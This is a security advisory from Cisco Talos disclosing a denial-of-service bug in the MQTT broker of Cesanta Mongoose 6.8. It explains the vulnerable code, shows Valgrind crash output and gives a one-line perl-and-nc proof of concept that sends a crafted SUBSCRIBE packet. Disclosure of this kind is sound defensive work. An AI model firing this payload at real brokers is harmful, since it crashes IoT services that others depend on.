Talos Vulnerability Report

TALOS-2017-0400

Cesanta Mongoose MQTT SUBSCRIBE Command Denial Of Service

October 31, 2017
CVE Number

CVE-2017-2893

Summary

An exploitable NULL pointer dereference vulnerability exists in the MQTT packet parsing functionality of Cesanta Mongoose 6.8. An MQTT SUBSCRIBE packet can cause a NULL pointer dereference leading to server crash and denial of service. An attacker needs to send a specially crafted MQTT packet over the network to trigger this vulnerability.

Tested Versions

Cesanta Mongoose 6.8

Product URLs

https://cesanta.com/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476: NULL Pointer Dereference

Details

Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.

In the MQTT protocol, a client initiates the connection by sending a CONNECT command, to which a server replies with CONNACK and then client proceeds with other commands. In the case of the mongoose MQTT server, if an out of order SUBSCRIBE packet is received by the server certain uninitialized structures are accessed which can lead to NULL pointer dereference and server crash. Specifically, in the function mg_mqtt_broker_handle_subscribe :

struct mg_mqtt_session *ss = (struct mg_mqtt_session *) nc->user_data;                [1]
uint8_t qoss[512];
size_t qoss_len = 0;
 struct mg_str topic;
 uint8_t qos;
 int pos;
 struct mg_mqtt_topic_expression *te;

 or (pos = 0;
  (pos = mg_mqtt_next_subscribe_topic(msg, &topic, &qos, pos)) != -1;) {
 qoss[qoss_len++] = qos;


 ss->subscriptions = (struct mg_mqtt_topic_expression *) realloc(
     ss->subscriptions, sizeof(*ss->subscriptions) * qoss_len);                        [2]

In the above code, at [1] we see ss being initialized to point to nc->user_data which can be null. At [2] ss pointer is dereferenced to access the subscriptions field which causes a NULL pointer dereference and leads to a server crash. This vulnerability can be triggered by sending bytes from the proof of concept to the sample mqtt_broker application supplied with the library.

Crash Information

Valgrind output:


==119048== Invalid read of size 8
==119048==    at 0x40F696: mg_mqtt_broker_handle_subscribe (mongoose.c:10050)
==119048==    by 0x40FADF: mg_mqtt_broker (mongoose.c:10133)
==119048==    by 0x40E648: mqtt_handler (mongoose.c:9712)
==119048==    by 0x4071B6: mg_call (mongoose.c:2051)
==119048==    by 0x408362: mg_recv_common (mongoose.c:2505)
==119048==    by 0x408393: mg_if_recv_tcp_cb (mongoose.c:2509)
==119048==    by 0x40A712: mg_handle_tcp_read (mongoose.c:3376)
==119048==    by 0x40AC8A: mg_mgr_handle_conn (mongoose.c:3501)
==119048==    by 0x40B6C9: mg_socket_if_poll (mongoose.c:3694)
==119048==    by 0x407935: mg_mgr_poll (mongoose.c:2232)
==119048==    by 0x4022A6: main (mqtt_broker.c:43)
==119048==  Address 0x30 is not stack'd, malloc'd or (recently) free'd
==119048==
==119048==
==119048== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==119048==  Access not within mapped region at address 0x30
==119048==    at 0x40F696: mg_mqtt_broker_handle_subscribe (mongoose.c:10050)
==119048==    by 0x40FADF: mg_mqtt_broker (mongoose.c:10133)
==119048==    by 0x40E648: mqtt_handler (mongoose.c:9712)
==119048==    by 0x4071B6: mg_call (mongoose.c:2051)
==119048==    by 0x408362: mg_recv_common (mongoose.c:2505)
==119048==    by 0x408393: mg_if_recv_tcp_cb (mongoose.c:2509)
==119048==    by 0x40A712: mg_handle_tcp_read (mongoose.c:3376)
==119048==    by 0x40AC8A: mg_mgr_handle_conn (mongoose.c:3501)
==119048==    by 0x40B6C9: mg_socket_if_poll (mongoose.c:3694)
==119048==    by 0x407935: mg_mgr_poll (mongoose.c:2232)
==119048==    by 0x4022A6: main (mqtt_broker.c:43)
==119048==  If you believe this happened as a result of a stack
==119048==  overflow in your program's main thread (unlikely but
==119048==  possible), you can try to increase the size of the
==119048==  main thread stack using the --main-stacksize= flag.
==119048==  The main thread stack size used in this run was 8388608.
==119048==
==119048== HEAP SUMMARY:
==119048==     in use at exit: 5,698 bytes in 154 blocks
==119048==   total heap usage: 159 allocs, 5 frees, 7,154 bytes allocated
==119048==
==119048== LEAK SUMMARY:
==119048==    definitely lost: 0 bytes in 0 blocks
==119048==    indirectly lost: 0 bytes in 0 blocks
==119048==      possibly lost: 0 bytes in 0 blocks
==119048==    still reachable: 5,698 bytes in 154 blocks
==119048==         suppressed: 0 bytes in 0 blocks
==119048== Rerun with --leak-check=full to see details of leaked memory
==119048==
==119048== For counts of detected and suppressed errors, rerun with: -v
==119048== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault

Exploit Proof-of-Concept

perl -e 'print "\x80\x86\x00\x00AAAA"' | nc

Timeline

2017-08-30 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.